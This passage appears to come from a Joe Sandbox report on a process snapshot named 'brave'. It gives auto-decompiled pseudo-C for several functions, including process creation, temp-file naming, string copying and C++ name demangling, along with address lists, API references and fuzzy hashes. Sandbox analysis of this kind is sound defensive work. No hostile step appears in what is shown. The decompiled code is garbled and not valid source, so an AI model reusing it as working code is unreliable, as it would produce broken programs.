				if ( *((long long*)(_t210 + 0x38)) == 0) goto 0x55e9454f;
				E00007FF77FF755E98410( *((intOrPtr*)(_t210 + 0x38)));
				return 0;
			}

0x7ff755e9403e
0x7ff755e94041
0x7ff755e94047
0x7ff755e9404d
0x7ff755e94054
0x7ff755e9405a
0x7ff755e94065
0x7ff755e94072
0x7ff755e94076
0x7ff755e9407b
0x7ff755e94081
0x7ff755e9408c
0x7ff755e94099
0x7ff755e940a9
0x7ff755e940b0
0x7ff755e940b4
0x7ff755e940b9
0x7ff755e940c0
0x7ff755e940dc
0x7ff755e940e8
0x7ff755e940f3
0x7ff755e940f8
0x7ff755e940fe
0x7ff755e94110
0x7ff755e94112
0x7ff755e94118
0x7ff755e9411c
0x7ff755e94121
0x7ff755e94128
0x7ff755e94137
0x7ff755e94144
0x7ff755e94150
0x7ff755e9415b
0x7ff755e94160
0x7ff755e94166
0x7ff755e9416b
0x7ff755e94176
0x7ff755e94180
0x7ff755e94189
0x7ff755e94192
0x7ff755e94198
0x7ff755e9419d
0x7ff755e941a7
0x7ff755e941ae
0x7ff755e941b5
0x7ff755e941c2
0x7ff755e941d6
0x7ff755e941e3
0x7ff755e941ee
0x7ff755e941fb
0x7ff755e94200
0x7ff755e94203
0x7ff755e94209
0x7ff755e94212
0x7ff755e9421d
0x7ff755e94227
0x7ff755e9422e
0x7ff755e94231
0x7ff755e9423b
0x7ff755e9424d
0x7ff755e94252
0x7ff755e94258
0x7ff755e94263
0x7ff755e9426d
0x7ff755e94270
0x7ff755e94276
0x7ff755e94281
0x7ff755e9428b
0x7ff755e9428e
0x7ff755e94296
0x7ff755e942a0
0x7ff755e942a4
0x7ff755e942ac
0x7ff755e942b6
0x7ff755e942b8
0x7ff755e942bf
0x7ff755e942c9
0x7ff755e942ce
0x7ff755e942d9
0x7ff755e942e8
0x7ff755e942ec
0x7ff755e942f8
0x7ff755e94305
0x7ff755e9430e
0x7ff755e94310
0x7ff755e9431c
0x7ff755e94321
0x7ff755e94327
0x7ff755e9432d
0x7ff755e94337
0x7ff755e9433a
0x7ff755e94343
0x7ff755e94349
0x7ff755e9434e
0x7ff755e94358
0x7ff755e94363
0x7ff755e94370
0x7ff755e9437a
0x7ff755e9437d
0x7ff755e94386
0x7ff755e9438c
0x7ff755e94397
0x7ff755e9439d
0x7ff755e943a3
0x7ff755e943a9
0x7ff755e943b9
0x7ff755e943be
0x7ff755e943c4
0x7ff755e943cd
0x7ff755e943d0
0x7ff755e943d8
0x7ff755e943e3
0x7ff755e943f0
0x7ff755e943fa
0x7ff755e943fd
0x7ff755e94406
0x7ff755e9440c
0x7ff755e94417
0x7ff755e9441d
0x7ff755e94423
0x7ff755e94429
0x7ff755e94439
0x7ff755e9443e
0x7ff755e94444
0x7ff755e9444d
0x7ff755e94450
0x7ff755e9445f
0x7ff755e94463
0x7ff755e94470
0x7ff755e94475
0x7ff755e9447e
0x7ff755e94489
0x7ff755e9448e
0x7ff755e94497
0x7ff755e944a4
0x7ff755e944ab
0x7ff755e944bb
0x7ff755e944c4
0x7ff755e944c6
0x7ff755e944cb
0x7ff755e944d0
0x7ff755e944d5
0x7ff755e944da
0x7ff755e944e5
0x7ff755e944f2
0x7ff755e944f9
0x7ff755e94500
0x7ff755e94506
0x7ff755e9451b

APIs

realloc.MSVCRT ref: 00007FF755E941FB

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction ID: 692ece27f47bb4c79a6560e347fe2e86beb89fdd011c5bc922a8c8eba3474fe7
Opcode Fuzzy Hash: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction Fuzzy Hash: FF62187AA09B2A81EB64AF45E250379A7B0FB44F88F8D4535CA5C0B395EF7DE454C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E93F00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF755E93F00(void* __rax, intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t8;
				void* _t14;

				_t14 = __rax;
				if (__rdx == 0) goto 0x55e94018;
				if ( *__rcx == 1) goto 0x55e93f68;
				E00007FF77FF755E90F00(__rcx);
				_t1 = _t14 + 8; // 0x8
				E00007FF77FF755E904E0(_t1);
				_t8 =  *__rcx;
				if (_t8 == 0) goto 0x55e93f80;
				if (_t8 != 1) goto 0x55e93ff0;
				E00007FF77FF755E90800(_t1);
				E00007FF77FF755E91110(_t14);
				return 0;
			}

0x7ff755e93f00
0x7ff755e93f16
0x7ff755e93f1f
0x7ff755e93f21
0x7ff755e93f26
0x7ff755e93f30
0x7ff755e93f35
0x7ff755e93f39
0x7ff755e93f3e
0x7ff755e93f47
0x7ff755e93f4f
0x7ff755e93f61

APIs

Part of subcall function 00007FF755E90F00: calloc.MSVCRT(?,?,00007FFC2FC93CA0,00007FF755E93F26,?,?,?,?,000001A882C117F0,00007FFC2FC93CA0,?,00007FF755E9029B,000001A882C117F0,00000000,00007FFC2FC93CA0,00007FF755E832FA), ref: 00007FF755E910A4

fprintf.MSVCRT ref: 00007FF755E9400B

Strings

once %p is %d, xrefs: 00007FF755E94001

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: callocfprintf
String ID: once %p is %d
API String ID: 3366074580-95064319
Opcode ID: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction ID: b4cceff8ca89b0cf4cbfc9e30beb35de628a6cae341e565ec3e1ac190d5a54a6
Opcode Fuzzy Hash: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction Fuzzy Hash: 3C31D87BE0972181FA55BB15A5011BAE2B4BF88F98FCC4135EE4C0B391DE3CD940C220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E827F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF77FF755E827F0(void* __edi, void* __esp, long long __rcx, void* __rdx, long long __r8) {
				void* _v136;
				long long _v144;
				char _v148;
				char _v156;
				long long _v172;
				long long _v180;
				long long _v188;
				long long _v196;
				long long _v204;
				intOrPtr _v212;
				long long _v220;
				long long _v228;
				void* _t19;
				intOrPtr* _t30;

				_v144 = 0;
				memset(__edi, 0, 0xd << 0);
				_v196 = __r8;
				_v172 =  &_v156;
				_v188 =  &_v148;
				_t30 =  *0x56136640; // 0x7ff756141078
				_v212 = r9d;
				r9d = 0;
				_v148 = 0x68;
				 *((long long*)(__rcx)) = 0;
				 *((long long*)(__rcx + 8)) = 0;
				 *((long long*)(__rcx + 0x10)) = 0;
				_v180 = __rcx;
				_v204 = 0;
				_v220 = 0;
				_v228 = 0;
				_t19 =  *_t30(); // executed
				return _t19;
			}

0x7ff755e82809
0x7ff755e82812
0x7ff755e8281a
0x7ff755e82822
0x7ff755e8282e
0x7ff755e82833
0x7ff755e8283a
0x7ff755e8283f
0x7ff755e82842
0x7ff755e8284a
0x7ff755e82852
0x7ff755e8285b
0x7ff755e82864
0x7ff755e82869
0x7ff755e82872
0x7ff755e8287a
0x7ff755e82883
0x7ff755e82892

APIs

CreateProcessInternalW.KERNELBASE ref: 00007FF755E82883

Strings

h, xrefs: 00007FF755E82842

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CreateInternalProcess
String ID: h
API String ID: 2186235152-2439710439
Opcode ID: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction ID: c024967d520e3e8a1059e3de51db1d3163b6f759fa3aa0da5d4a2637046a18d9
Opcode Fuzzy Hash: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction Fuzzy Hash: 8B01E832618B8082E7508F54F45874BB7A4F784784FA08129EBC807B68DFBDC158CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E84880 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF77FF755E84880(void* __edi, void* __esp, void* __rax, void* __rcx, void* __rdx, void* __r9) {
				void* _v596;
				void* _v608;
				char _v1112;
				void* _t13;
				void* _t27;
				void* _t40;

				_t27 = __rax;
				r12d = r8d;
				memset(__edi + 0x41, memset(__edi, 0, 0x41 << 0), 0x41 << 0);
				GetTempPathW(??, ??);
				r8d = 0;
				GetTempFileNameW(??, ??, ??, ??); // executed
				r8d = r12d;
				_t13 = E00007FF77FF755E84530(__rax,  &_v1112, __rdx, _t40); // executed
				if (_t27 - 1 - 0xfffffffd <= 0) goto 0x55e84928;
				return _t13;
			}

0x7ff755e84880
0x7ff755e8489b
0x7ff755e848c4
0x7ff755e848d7
0x7ff755e848e0
0x7ff755e848e8
0x7ff755e848ee
0x7ff755e848f7
0x7ff755e84907
0x7ff755e84921

APIs

GetTempPathW.KERNEL32 ref: 00007FF755E848D7
GetTempFileNameW.KERNEL32 ref: 00007FF755E848E8

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Temp$FileNamePath
String ID:
API String ID: 3285503233-0
Opcode ID: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction ID: 80db5ab0114c213ec8b5548df7687931fc1ec29cd850addc77a716c734530ebb
Opcode Fuzzy Hash: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction Fuzzy Hash: 2831C1666086D180FA609A12B6447AAE351FB85BFCF940231EEBC0BBD8DF7CD0458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E84000 Relevance: 2.5, APIs: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF755E84000(void* __eax, void* __edi, void* __esp, void* __rax, void* __rcx) {
				char _v584;
				int _t9;
				void* _t12;
				void* _t26;
				signed long long _t27;
				void* _t36;
				void* _t37;

				r12d = 0;
				_t35 =  &_v584;
				0x55ea1630();
				_t37 = __rax;
				goto 0x55e8403f;
				asm("o16 nop [cs:eax+eax]");
				if (__eax == 0x2f) goto 0x55e84049;
				_t27 = _t26 + 1;
				if (__rax - _t27 < 0) goto 0x55e8407c;
				_t9 =  *(__rcx + _t27 * 2) & 0x0000ffff;
				if (_t9 != 0x5c) goto 0x55e84030;
				memset(__edi, _t9, 0x41 << 0);
				0x55ea1638();
				 *((short*)( &_v584 + _t27 * 2)) = 0;
				_t12 = E00007FF77FF755E83CD0(_t36, _t35); // executed
				if (_t37 - _t27 + 1 >= 0) goto 0x55e8403f;
				return _t12;
			}

0x7ff755e84011
0x7ff755e84017
0x7ff755e8401c
0x7ff755e84021
0x7ff755e84024
0x7ff755e84026
0x7ff755e84034
0x7ff755e84036
0x7ff755e8403d
0x7ff755e8403f
0x7ff755e84047
0x7ff755e84059
0x7ff755e8405f
0x7ff755e84069
0x7ff755e84072
0x7ff755e8407a
0x7ff755e8408b

APIs

wcslen.MSVCRT ref: 00007FF755E8401C
wcscpy.MSVCRT ref: 00007FF755E8405F

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: wcscpywcslen
String ID:
API String ID: 225642448-0
Opcode ID: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction ID: a3a28e66bf1ac032f8be5fe91a550d88f2c1f15aef26e72c24221f35ebb1e217
Opcode Fuzzy Hash: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction Fuzzy Hash: B1F0281AB090F954FA607E65E9043F79150FB48BDCFDC4532EE4D093A1ED6DA586C212

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E86121 Relevance: 1.3, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00007FF77FF755E86121(void* __ebx, void* __edx, signed char __rax, void* __rbx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t150;
				signed int _t153;
				void* _t157;
				signed int _t158;
				signed int _t169;
				signed int _t180;
				signed int _t182;
				signed int _t184;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				signed int _t193;
				signed int _t195;
				signed int _t197;
				signed int _t200;
				signed int _t203;
				void* _t214;
				void* _t240;
				signed char* _t245;
				long long* _t249;
				long long* _t252;
				intOrPtr* _t255;
				intOrPtr* _t258;
				intOrPtr* _t261;
				intOrPtr* _t264;
				char* _t265;
				signed char* _t266;
				intOrPtr* _t269;
				intOrPtr* _t272;
				signed char* _t275;
				intOrPtr* _t278;
				signed char* _t279;
				signed char* _t281;
				signed char* _t282;
				intOrPtr* _t321;
				intOrPtr* _t325;
				signed char* _t326;
				signed char* _t327;
				long long _t336;
				void* _t343;

				_t150 =  *(__rbx + 0x28);
				if (_t150 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26bc;
				_t321 = (_t150 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t321 + 4)) = 0;
				 *(__rbx + 0x28) = _t150 + 1;
				_a40 = _t321;
				 *_t321 = 0x2c;
				_t153 = ( *(__r8 + 2) & 0x000000ff) - 0x30;
				_t214 = _t153 - 9;
				 *((short*)(_t321 + 0x18)) = (_t153 & 0xffffff00 | _t214 < 0x00000000) & 0x000000ff;
				if (_t214 > 0) goto 0x55e86174;
				E00007FF77FF755E84E90(__rax, __rbx, __rdx, __r8, _t343);
				E00007FF77FF755E85BC0();
				_a40[0x10] = __rax;
				if (_a40[0x10] == 0) goto 0x55e85c20;
				_t157 = E00007FF77FF755E84E90(_a40, __rbx, __rdx, __r8, _t343);
				_t245 =  *(__rbx + 0x18);
				if (( *_t245 & 0x000000ff) == 0) goto 0x55e861ae;
				_t305 =  &(_t245[1]);
				 *(__rbx + 0x18) =  &(_t245[1]);
				_a40[0x1a] = ( *_t245 & 0 | ( *_t245 & 0x000000ff) == 0x00000073) & 0x000000ff;
				_t180 =  *(__rbx + 0x28);
				if (_t180 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t249 = (_t180 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t180 + 1;
				 *_t249 = 0;
				 *((intOrPtr*)(_t249 + 8)) = 0;
				 *((long long*)(_t249 + 0x10)) = "decltype(auto)";
				 *((intOrPtr*)(_t249 + 0x18)) = 0xe;
				_t182 =  *(__rbx + 0x28);
				if (_t182 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t252 = (_t182 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t182 + 1;
				 *_t252 = 0;
				 *((intOrPtr*)(_t252 + 8)) = 0;
				 *((long long*)(_t252 + 0x10)) = 0x56133a36;
				 *((intOrPtr*)(_t252 + 0x18)) = 4;
				_t184 =  *(__rbx + 0x28);
				if (_t184 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26c9;
				_t255 = (_t184 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t255 + 4)) = 0;
				 *(__rbx + 0x28) = _t184 + 1;
				 *_t255 = 0x27;
				 *((long long*)(_t255 + 0x10)) = 0x56135380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t186 =  *(__rbx + 0x28);
				if (_t186 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26dc;
				_t258 = (_t186 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t258 + 4)) = 0;
				 *(__rbx + 0x28) = _t186 + 1;
				 *_t258 = 0x27;
				 *((long long*)(_t258 + 0x10)) = 0x56135320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t188 =  *(__rbx + 0x28);
				if (_t188 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26a9;
				_t261 = (_t188 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t261 + 4)) = 0;
				 *(__rbx + 0x28) = _t188 + 1;
				 *_t261 = 0x27;
				 *((long long*)(_t261 + 0x10)) = 0x561353c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t190 =  *(__rbx + 0x28);
				if (_t190 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2702;
				_t264 = (_t190 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t264 + 4)) = 0;
				 *(__rbx + 0x28) = _t190 + 1;
				 *_t264 = 0x27;
				 *((long long*)(_t264 + 0x10)) = 0x56135360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x55e85c22;
				 *_t264 =  *_t264 + _t157;
				_t158 =  *(__rbx + 0x28);
				if (_t158 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t325 = (_t158 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t325 + 4)) = 0;
				 *(__rbx + 0x28) = _t158 + 1;
				 *_t325 = 0x42;
				 *((intOrPtr*)(_t325 + 0x10)) = E00007FF77FF755E84E90(_t264, __rbx, _t305, __r8, _t343);
				_t265 =  *(__rbx + 0x18);
				if ( *_t265 != 0x5f) goto 0x55e85c20;
				_t266 = _t265 + 1;
				 *(__rbx + 0x18) = _t266;
				E00007FF77FF755E85BC0();
				E00007FF77FF755E84DD0();
				_a40 = _t266;
				_t193 =  *(__rbx + 0x28);
				if (_t193 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t269 = (_t193 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t269 + 4)) = 0;
				 *(__rbx + 0x28) = _t193 + 1;
				 *_t269 = 0x27;
				 *((long long*)(_t269 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t195 =  *(__rbx + 0x28);
				if (_t195 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t272 = (_t195 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t272 + 4)) = 0;
				 *(__rbx + 0x28) = _t195 + 1;
				 *_t272 = 0x27;
				 *((long long*)(_t272 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t197 =  *(__rbx + 0x28);
				if (_t197 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t275 = (_t197 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t275 + 4)) = 0;
				 *(__rbx + 0x28) = _t197 + 1;
				 *_t275 = 0x27;
				 *((long long*)(_t275 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t275;
				_t200 =  *(__rbx + 0x28);
				if (_t200 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t278 = (_t200 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t278 + 4)) = 0;
				 *(__rbx + 0x28) = _t200 + 1;
				 *_t278 = 0x27;
				 *((long long*)(_t278 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t278, __rbx);
				_a40 = _t278;
				if (_t278 == 0) goto 0x55e85c20;
				if ( *_t278 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t279 = _t278 + 1;
				 *(__rbx + 0x18) = _t279;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t279;
				_t326 = _t279;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t326[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t326;
				_t281 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t336 = _a40;
				if (_t336 == 0) goto 0x55e85c20;
				_t203 =  *(__rbx + 0x38);
				if (_t203 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t203 * 8)) = _t336;
				 *(__rbx + 0x38) = _t203 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t281;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t336 + 3;
				E00007FF77FF755E87F20(_t281, __rbx);
				_t327 = _t281;
				if (_t281 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t327);
				_push(__rbx);
				_t282 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t282[1]);
				r10d =  *_t282 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t169 = (r8d >> 0x1f) + r8d >> 1;
				_t240 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t169 + _t169 * 2) * 8)))) - r10b;
				if (_t240 == 0) goto 0x55e86680;
				if (_t240 <= 0) goto 0x55e866c0;
				r8d = _t169;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e86121
0x7ff755e86127
0x7ff755e86137
0x7ff755e8613b
0x7ff755e86143
0x7ff755e86146
0x7ff755e8614b
0x7ff755e86156
0x7ff755e86159
0x7ff755e86161
0x7ff755e86165
0x7ff755e8616a
0x7ff755e86177
0x7ff755e8617c
0x7ff755e8618a
0x7ff755e86193
0x7ff755e86198
0x7ff755e861a1
0x7ff755e861a3
0x7ff755e861a7
0x7ff755e861bc
0x7ff755e861c5
0x7ff755e861cb
0x7ff755e861e2
0x7ff755e861e6
0x7ff755e861e9
0x7ff755e861f0
0x7ff755e861f7
0x7ff755e861fb
0x7ff755e86207
0x7ff755e8620d
0x7ff755e86224
0x7ff755e86228
0x7ff755e8622b
0x7ff755e86232
0x7ff755e86239
0x7ff755e8623d
0x7ff755e86249
0x7ff755e8624f
0x7ff755e86266
0x7ff755e8626a
0x7ff755e86272
0x7ff755e86275
0x7ff755e8627b
0x7ff755e8627f
0x7ff755e86288
0x7ff755e8628e
0x7ff755e862a5
0x7ff755e862a9
0x7ff755e862b1
0x7ff755e862b4
0x7ff755e862ba
0x7ff755e862be
0x7ff755e862c7
0x7ff755e862cd
0x7ff755e862e4
0x7ff755e862e8
0x7ff755e862f0
0x7ff755e862f3
0x7ff755e862f9
0x7ff755e862fd
